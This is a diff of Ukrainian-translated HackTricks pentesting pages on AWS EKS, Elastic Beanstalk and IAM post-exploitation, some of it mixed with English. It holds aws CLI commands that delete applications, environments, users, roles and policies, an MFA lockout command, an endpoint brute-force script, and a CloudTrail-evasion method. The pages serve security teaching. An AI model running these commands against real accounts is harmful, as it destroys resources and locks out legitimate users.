BZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-contexts:
-- context:
-cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-kind: Config
-preferences: {}
-users:
-- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user:
-exec:
-apiVersion: client.authentication.k8s.io/v1beta1
-args:
-- --region
-- us-west-2
-- --profile
-- <profile>
-- eks
-- get-token
-- --cluster-name
-- <cluster-name>
-command: aws
-env: null
-interactiveMode: IfAvailable
-provideClusterInfo: false
-```
-</details>
-
-### Від AWS до Kubernetes
-
-**Творець** **EKS кластера** **ЗАВЖДИ** зможе отримати доступ до частини кластера kubernetes групи **`system:masters`** (k8s адміністратор). На момент написання цього тексту **немає прямого способу** дізнатися **хто створив** кластер (можна перевірити CloudTrail). І **немає способу** **видалити** цей **привілей**.
-
-Спосіб надати **доступ до K8s для більше AWS IAM користувачів або ролей** - це використання **configmap** **`aws-auth`**.
-
-> [!WARNING]
-> Тому будь-хто з **доступом на запис** до конфігураційної карти **`aws-auth`** зможе **компрометувати весь кластер**.
-
-Для отримання додаткової інформації про те, як **надати додаткові привілеї IAM ролям і користувачам** в **одному або різних облікових записах** і як **зловживати** цим, щоб [**перевірити privesc, перегляньте цю сторінку**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
-
-Перегляньте також [**цей чудовий**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **пост, щоб дізнатися, як працює аутентифікація IAM -> Kubernetes**.
-
-### Від Kubernetes до AWS
-
-Можливо дозволити **OpenID аутентифікацію для облікового запису служби kubernetes**, щоб дозволити їм приймати ролі в AWS. Дізнайтеся, як [**це працює на цій сторінці**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-
-### ОТРИМАТИ Api Server Endpoint з JWT Токена
-
-Декодувавши JWT токен, ми отримуємо ідентифікатор кластера та також регіон. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Знаючи, що стандартний формат для URL EKS є
-```bash
-https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
-```
-Не знайшов жодної документації, яка б пояснювала критерії для 'двох символів' та 'числа'. Але, проводячи деякі тести, я бачу, що ці символи повторюються:
-
-- gr7
-- yl4
-
-В будь-якому випадку, це всього лише 3 символи, ми можемо їх перебрати. Використовуйте наведену нижче скрипт для генерації списку.
-```python
-from itertools import product
-from string import ascii_lowercase
-
-letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
-number_combinations = product('0123456789', repeat = 1)
-
-result = [
-f'{''.join(comb[0])}{comb[1][0]}'
-for comb in product(letter_combinations, number_combinations)
-]
-
-with open('out.txt', 'w') as f:
-f.write('\n'.join(result))
-```
-Тоді з wfuzz
-```bash
-wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
-```
-> [!WARNING]
-> Пам'ятайте, щоб замінити & .
-
-### Обхід CloudTrail
-
-Якщо зловмисник отримує облікові дані AWS з **дозволами на EKS**. Якщо зловмисник налаштовує свій власний **`kubeconfig`** (без виклику **`update-kubeconfig`**) як було пояснено раніше, **`get-token`** не генерує журнали в Cloudtrail, оскільки не взаємодіє з AWS API (просто створює токен локально).
-
-Отже, коли зловмисник спілкується з кластером EKS, **cloudtrail не зафіксує нічого, що стосується вкраденого користувача та доступу до нього**.
-
-Зверніть увагу, що **кластер EKS може мати увімкнені журнали**, які зафіксують цей доступ (хоча за замовчуванням вони вимкнені).
-
-### Вимагач EKS?
-
-За замовчуванням **користувач або роль, яка створила** кластер, **ЗАВЖДИ матиме адміністративні привілеї** над кластером. І це єдиний "безпечний" доступ, який AWS матиме до кластеру Kubernetes.
-
-Отже, якщо **зловмисник компрометує кластер, використовуючи fargate** і **видаляє всіх інших адміністраторів** та **видаляє користувача/роль AWS, яка створила** кластер, ~~зловмисник міг би **вимагати кластер**~~**.
-
-> [!TIP]
-> Зверніть увагу, що якщо кластер використовує **EC2 VMs**, може бути можливим отримати адміністративні привілеї з **Node** і відновити кластер.
->
-> Насправді, якщо кластер використовує Fargate, ви могли б EC2 вузли або перемістити все до EC2 в кластер і відновити його, отримуючи токени в вузлі.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md

@@ -0,0 +1,143 @@
+# AWS - EKS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EKS
+
+Для отримання додаткової інформації перегляньте
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### Перерахування кластера через AWS Console
+
+Якщо у вас є дозвіл **`eks:AccessKubernetesApi`**, ви можете **переглядати Kubernetes objects** через AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+
+### Підключення до AWS Kubernetes Cluster
+
+- Простий спосіб:
+```bash
+# Generate kubeconfig
+aws eks update-kubeconfig --name aws-eks-dev
+```
+- Не такий простий спосіб:
+
+Якщо ви можете **отримати токен** за допомогою **`aws eks get-token --name <cluster_name>`**, але у вас немає дозволів на отримання інформації про кластер (describeCluster), ви можете **підготувати власний `~/.kube/config`**. Однак, маючи токен, вам все одно потрібен **url endpoint для підключення** (якщо вам вдалося отримати JWT token з pod — читайте [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) та **назва кластера**.
+
+У моєму випадку я не знайшов інформацію в CloudWatch logs, але я **знайшов її в LaunchTemaplates userData** і **також у EC2 машинах в userData**. Цю інформацію можна легко побачити в **userData**, наприклад у наступному прикладі (назва кластера була cluster-name):
+```bash
+API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
+
+/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
+```
+<details>
+
+<summary>kube config</summary>
+```yaml
+describe-cache-parametersapiVersion: v1
+clusters:
+- cluster:
+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+contexts:
+- context:
+cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+kind: Config
+preferences: {}
+users:
+- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- <profile>
+- eks
+- get-token
+- --cluster-name
+- <cluster-name>
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
+```
+</details>
+
+### З AWS до Kubernetes
+
+The **creator** of the **EKS cluster** is **ЗАВЖДИ** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**.
+
+The way to grant **доступ до K8s для більшої кількості AWS IAM users або roles** is using the **configmap** **`aws-auth`**.
+
+> [!WARNING]
+> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
+
+For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
+
+Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
+
+### З Kubernetes до AWS
+
+It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+
+### Отримання Api Server Endpoint з JWT Token
+
+Декодувавши JWT token ми отримуємо cluster id & також region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is
+```bash
+https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
+```
+Не знайшов жодної документації, яка пояснює критерії для 'двох символів' та 'числа'. Але, провівши кілька тестів, я помітив, що повторюються такі:
+
+- gr7
+- yl4
+
+У будь-якому разі це лише 3 символи — їх можна bruteforce. Використай наведений нижче скрипт для генерації списку
+```python
+from itertools import product
+from string import ascii_lowercase
+
+letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
+number_combinations = product('0123456789', repeat = 1)
+
+result = [
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
+]
+
+with open('out.txt', 'w') as f:
+f.write('\n'.join(result))
+```
+Потім за допомогою wfuzz
+```bash
+wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
+```
+> [!WARNING]
+> Пам'ятайте замінити & .
+
+### Bypass CloudTrail
+
+If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally).
+
+So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**.
+
+Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled).
+
+### EKS Ransom?
+
+By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster.
+
+So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
+
+> [!TIP]
+> Зверніть увагу, що якщо кластер використовував **EC2 VMs**, можливо отримати Admin privileges з **Node** і відновити кластер.
+>
+> Насправді, якщо cluster використовує Fargate, можна додати EC2 nodes або перемістити все до EC2 в кластері і відновити його, отримавши доступ до tokens на вузлі.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md

@@ -1,70 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Для отримання додаткової інформації:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-> [!NOTE]
-> TODO: Перевірити, чи потрібні додаткові дозволи для цього
-
-Зловмисник з дозволом `elasticbeanstalk:DeleteApplicationVersion` може **видалити існуючу версію програми**. Ця дія може порушити конвеєри розгортання програми або призвести до втрати конкретних версій програми, якщо вони не були збережені.
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-**Потенційний вплив**: Порушення розгортання додатка та потенційна втрата версій додатка.
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-> [!NOTE]
-> TODO: Перевірити, чи потрібні додаткові дозволи для цього
-
-Зловмисник з дозволом `elasticbeanstalk:TerminateEnvironment` може **завершити існуюче середовище Elastic Beanstalk**, що призведе до простою додатка та потенційної втрати даних, якщо середовище не налаштоване для резервного копіювання.
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-**Потенційний вплив**: Час простою програми, потенційна втрата даних та порушення послуг.
-
-### `elasticbeanstalk:DeleteApplication`
-
-> [!NOTE]
-> TODO: Перевірити, чи потрібні додаткові дозволи для цього
-
-Зловмисник з дозволом `elasticbeanstalk:DeleteApplication` може **видалити всю програму Elastic Beanstalk**, включаючи всі її версії та середовища. Ця дія може призвести до значних втрат ресурсів програми та конфігурацій, якщо вони не були створені резервні копії.
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-**Потенційний вплив**: Втрата ресурсів програми, конфігурацій, середовищ та версій програми, що призводить до перерви в обслуговуванні та потенційної втрати даних.
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-> [!NOTE]
-> TODO: Перевірити, чи потрібні додаткові дозволи для цього
-
-Зловмисник з дозволом `elasticbeanstalk:SwapEnvironmentCNAMEs` може **поміняти CNAME записи двох середовищ Elastic Beanstalk**, що може призвести до того, що користувачам буде надана неправильна версія програми або до непередбачуваної поведінки.
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-**Потенційний вплив**: Надання неправильної версії програми користувачам або виклик ненавмисної поведінки в програмі через змінені середовища.
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-> [!NOTE]
-> TODO: Перевірити, чи потрібні додаткові дозволи для цього
-
-Зловмисник з дозволами `elasticbeanstalk:AddTags` та `elasticbeanstalk:RemoveTags` може **додавати або видаляти теги на ресурсах Elastic Beanstalk**. Ця дія може призвести до неправильного розподілу ресурсів, виставлення рахунків або управління ресурсами.
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-**Потенційний вплив**: Неправильне виділення ресурсів, виставлення рахунків або управління ресурсами через додані або видалені теги.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md

@@ -0,0 +1,70 @@
+# AWS - Elastic Beanstalk Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+Для отримання додаткової інформації:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: Перевірити, чи потрібні для цього додаткові дозволи
+
+Зловмисник із дозволом `elasticbeanstalk:DeleteApplicationVersion` може **видалити існуючу версію застосунку**. Ця дія може порушити конвеєри розгортання застосунку або призвести до втрати певних версій застосунку, якщо вони не були збережені в резерві.
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+**Потенційний вплив**: Переривання розгортання додатку та потенційна втрата версій додатку.
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: Перевірити, чи потрібні додаткові дозволи для цього
+
+Зловмисник із дозволом `elasticbeanstalk:TerminateEnvironment` може **припинити існуюче середовище Elastic Beanstalk**, що призведе до простою додатку та потенційної втрати даних, якщо середовище не налаштоване на резервне копіювання.
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+**Potential Impact**: Простій додатку, потенційна втрата даних та порушення роботи сервісів.
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: Перевірити, чи потрібні для цього додаткові дозволи
+
+Атакувальник з дозволом `elasticbeanstalk:DeleteApplication` може **видалити весь додаток Elastic Beanstalk**, включаючи всі його версії та середовища. Ця дія може призвести до значної втрати ресурсів і конфігурацій додатку, якщо не зроблено резервних копій.
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+**Можливий вплив**: Втрата ресурсів додатку, конфігурацій, середовищ та версій додатку, що може призвести до переривання роботи сервісу та потенційної втрати даних.
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: Перевірити, чи потрібні для цього додаткові дозволи
+
+Зловмисник із дозволом `elasticbeanstalk:SwapEnvironmentCNAMEs` може **поміняти місцями CNAME записи двох Elastic Beanstalk environments**, що може призвести до того, що користувачам буде надана неправильна версія додатку або спричинити непередбачену поведінку.
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+**Потенційний вплив**: Надання користувачам неправильної версії додатка або спричинення небажаної поведінки додатка через переплутані середовища.
+
+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: Перевірити, чи потрібні для цього додаткові дозволи
+
+Зловмисник із дозволами `elasticbeanstalk:AddTags` та `elasticbeanstalk:RemoveTags` може **додавати або видаляти теги на ресурсах Elastic Beanstalk**. Ця дія може призвести до неправильного розподілу ресурсів, помилкового виставлення рахунків або проблем у керуванні ресурсами.
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+**Потенційний вплив**: Неправильне виділення ресурсів, виставлення рахунків або управління ресурсами через додані або видалені теги.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md

@@ -1,166 +0,0 @@
-# AWS - IAM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Для отримання додаткової інформації про доступ IAM:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-## Confused Deputy Problem
-
-Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому акаунті, ви, ймовірно, матимете **0 видимості** щодо того, **хто саме може отримати доступ до цього зовнішнього облікового запису**. Це проблема, тому що якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), то можливо, що **B також зможе отримати доступ до вашого акаунту**.
-
-Тому, дозволяючи зовнішньому обліковому запису доступ до ролі у вашому акаунті, можна вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати** для того, щоб **assume the role in your organization**. Оскільки **зовнішній обліковий запис B не знатиме цей рядок**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**.
-
-<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
-
-Проте зауважте, що цей `ExternalId` "секрет" **не є секретом**: будь-хто, хто може **прочитати IAM assume role policy**, зможе його побачити. Але поки зовнішній обліковий запис A його знає, а зовнішній обліковий запис **B не знає**, це **перешкоджає B зловживати A, щоб отримати доступ до вашої ролі**.
-
-Example:
-```json
-{
-"Version": "2012-10-17",
-"Statement": {
-"Effect": "Allow",
-"Principal": {
-"AWS": "Example Corp's AWS Account ID"
-},
-"Action": "sts:AssumeRole",
-"Condition": {
-"StringEquals": {
-"sts:ExternalId": "12345"
-}
-}
-}
-}
-```
-> [!WARNING]
-> Щоб attacker зміг експлуатувати confused deputy, йому потрібно якимось чином перевірити, чи можуть principals поточного облікового запису impersonate roles в інших облікових записах.
-
-### Несподівані довірчі налаштування
-
-#### Wildcard як principal
-```json
-{
-"Action": "sts:AssumeRole",
-"Effect": "Allow",
-"Principal": { "AWS": "*" }
-}
-```
-Ця політика **дозволяє всім AWS** приймати роль.
-
-#### Служба як суб'єкт
-```json
-{
-"Action": "lambda:InvokeFunction",
-"Effect": "Allow",
-"Principal": { "Service": "apigateway.amazonaws.com" },
-"Resource": "arn:aws:lambda:000000000000:function:foo"
-}
-```
-Ця політика **дозволяє будь-якому акаунту** налаштувати свій apigateway для виклику цієї Lambda.
-
-#### S3 як принципал
-```json
-"Condition": {
-"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
-"StringEquals": {
-"aws:SourceAccount": "123456789012"
-}
-}
-```
-Якщо S3 bucket вказано як principal — оскільки S3 buckets не мають Account ID — і ви **видалили свій bucket, а зловмисник створив його** у своєму account, то вони можуть цим зловживати.
-
-#### Не підтримується
-```json
-{
-"Effect": "Allow",
-"Principal": { "Service": "cloudtrail.amazonaws.com" },
-"Action": "s3:PutObject",
-"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
-}
-```
-Поширений спосіб уникнути проблем типу "Confused Deputy" — використання умови з `AWS:SourceArn` для перевірки ARN джерела. Однак **деякі сервіси можуть цього не підтримувати** (наприклад, CloudTrail за деякими джерелами).
-
-### Видалення облікових даних
-Маючи будь-який із наступних дозволів — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — актор може видалити ключі доступу, профілі входу, SSH-ключі, сервісно-специфічні облікові дані, профілі інстансів, сертифікати або публічні ключі CloudFront, а також від'єднати ролі від профілів інстансів. Такі дії можуть негайно блокувати легітимних користувачів та застосунки й спричиняти відмову в обслуговуванні або втрату доступу для систем, що залежать від цих облікових даних, тому ці IAM-дозволи мають бути суворо обмежені та підлягати моніторингу.
-```bash
-# Remove Access Key of a user
-aws iam delete-access-key \
---user-name <Username> \
---access-key-id AKIAIOSFODNN7EXAMPLE
-
-## Remove ssh key of a user
-aws iam delete-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE
-```
-### Видалення ідентичностей
-За наявності дозволів, таких як `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` або `iam:RemoveUserFromGroup`, суб'єкт може видаляти користувачів, ролі або групи — або змінювати членство в групах — видаляючи ідентичності та пов'язані сліди. Це може негайно порушити доступ для людей і сервісів, які залежать від цих ідентичностей, спричиняючи відмову в обслуговуванні або втрату доступу, тому ці дії IAM повинні бути суворо обмежені та моніторені.
-```bash
-# Delete a user
-aws iam delete-user \
---user-name <Username>
-
-# Delete a group
-aws iam delete-group \
---group-name <Username>
-
-# Delete a role
-aws iam delete-role \
---role-name <Role>
-```
-###
-З будь-яким із наведених дозволів — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — особа може видаляти або від'єднувати керовані/вбудовані політики, видаляти версії політик або межі дозволів і відв'язувати політики від користувачів, груп або ролей. Це руйнує авторизації та може змінити модель дозволів, спричиняючи негайну втрату доступу або відмову в обслуговуванні для суб'єктів, які покладалися на ці політики, тому ці дії в IAM мають бути суворо обмежені й підлягати моніторингу.
-```bash
-# Delete a group policy
-aws iam delete-group-policy \
---group-name <GroupName> \
---policy-name <PolicyName>
-
-# Delete a role policy
-aws iam delete-role-policy \
---role-name <RoleName> \
---policy-name <PolicyName>
-```
-### Видалення федеративної ідентичності
-За допомогою `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, зловмисник може видалити провайдерів ідентичності OIDC/SAML або видалити client IDs. Це порушує федеративну автентифікацію, перешкоджає валідації токенів і негайно блокує доступ користувачів та сервісів, які покладаються на SSO, доки IdP або конфігурації не будуть відновлені.
-```bash
-# Delete OIDCP provider
-aws iam delete-open-id-connect-provider \
---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
-
-# Delete SAML provider
-aws iam delete-saml-provider \
---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
-```
-### Несанкціонована активація MFA
-За допомогою `iam:EnableMFADevice` зловмисник може зареєструвати MFA-пристрій в обліковому записі користувача, перешкоджаючи законному користувачеві увійти. Після активації несанкціонованого MFA користувач може бути заблокований до видалення або скидання пристрою (примітка: якщо зареєстровано кілька MFA-пристроїв, для входу достатньо одного, тож ця атака не вплине на відмову в доступі).
-```bash
-aws iam enable-mfa-device \
---user-name <Username> \
---serial-number arn:aws:iam::111122223333:mfa/alice \
---authentication-code1 123456 \
---authentication-code2 789012
-```
-### Підміна метаданих сертифікатів/ключів
-За допомогою `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` зловмисник може змінити статус або метадані публічних ключів та сертифікатів. Позначивши ключі/сертифікати як неактивні або змінивши посилання на них, він може порушити аутентифікацію SSH, анулювати перевірки X.509/TLS і негайно зірвати роботу сервісів, що залежать від цих облікових даних, спричинивши втрату доступу або доступності.
-```bash
-aws iam update-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE \
---status Inactive
-
-aws iam update-server-certificate \
---server-certificate-name <Certificate_Name> \
---new-path /prod/
-```
-## Посилання
-
-- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md

@@ -0,0 +1,166 @@
+# AWS - IAM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Більше інформації про доступ IAM:
+
+{{#ref}}
